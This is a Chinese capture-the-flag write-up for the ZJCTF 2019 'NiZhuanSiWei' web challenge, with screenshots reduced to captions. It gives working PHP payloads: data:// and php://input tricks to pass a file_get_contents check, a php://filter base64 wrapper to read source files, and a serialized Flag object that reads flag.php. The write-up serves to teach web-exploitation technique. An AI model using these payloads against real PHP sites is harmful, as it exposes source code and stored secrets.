打开页面发现是源码

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图1

    这里有个file_get_content函数,于是可以想到php伪协议,php://input

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图2

    于是我们构造POST请求,绕过限制

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图3

    也可以data传参数

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图4

    题目中有个提示是存在useless.php,这里也是用php伪协议,php://filter

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图5

    php://filter/convert.base64-encode/resource=useless.php

    可以看出useless.php的源码并且用base64编码打印出来

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图6

    我们要用base64解码即可得到源码

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图7

    Flag类和file_get_contents,并且前面存在$password=unserialize($password);

    利用反序列化构造payload

    O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图8

    可以得到flag.php中的源码

    伪协议的引用[ZJCTF 2019]NiZhuanSiWei - 图9